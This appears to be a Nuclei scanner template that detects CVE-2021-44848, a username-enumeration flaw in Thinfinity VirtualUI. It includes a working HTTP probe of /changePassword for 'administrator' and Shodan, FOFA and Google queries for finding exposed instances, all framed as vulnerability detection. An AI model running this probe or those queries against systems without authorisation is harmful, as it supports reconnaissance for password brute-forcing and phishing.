id: CVE-2021-44848

info:
  name: Thinfinity VirtualUI User Enumeration
  author: danielmofer
  severity: medium
  description: Thinfinity VirtualUI (before v3.0), /changePassword returns different responses for requests depending on whether the username exists. It may enumerate OS users (Administrator, Guest, etc.)
  impact: |
    An attacker can use the gathered usernames for further attacks, such as brute-forcing passwords or launching targeted phishing campaigns.
  remediation: |
    Apply the vendor-supplied patch or upgrade to the latest version of Thinfinity VirtualUI to mitigate the user enumeration vulnerability.
  reference:
    - https://github.com/cybelesoft/virtualui/issues/1
    - https://nvd.nist.gov/vuln/detail/CVE-2021-44848
    - https://www.tenable.com/cve/CVE-2021-44848
    - http://packetstormsecurity.com/files/165327/Cibele-Thinfinity-VirtualUI-2.5.41.0-User-Enumeration.html
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2021-44848
    cwe-id: CWE-203
    epss-score: 0.23141
    epss-percentile: 0.97474
    cpe: cpe:2.3:a:cybelesoft:thinfinity_virtualui:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: cybelesoft
    product: thinfinity_virtualui
    shodan-query: http.title:"thinfinity virtualui"
    fofa-query: title="thinfinity virtualui"
    google-query: intitle:"thinfinity virtualui"
  tags: cve2021,cve,exposure,thinfinity,packetstorm,virtualui,tenable,cybelesoft,vuln

http:
  - raw:
      - |
        GET /changePassword?username=administrator HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - '"rc":(.*?)'
          - '"msg":"(.*?)"'
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a004830460221008449aece449e29092558b7155bdf5023a6c5905716eb3d3502715d9b502ee8d0022100a56b8f83cdddfe22f3faa624cd346cf86b07f698ac9de7d7f3ebc9471293be2b:922c64590222798bb761d5b6d8e72950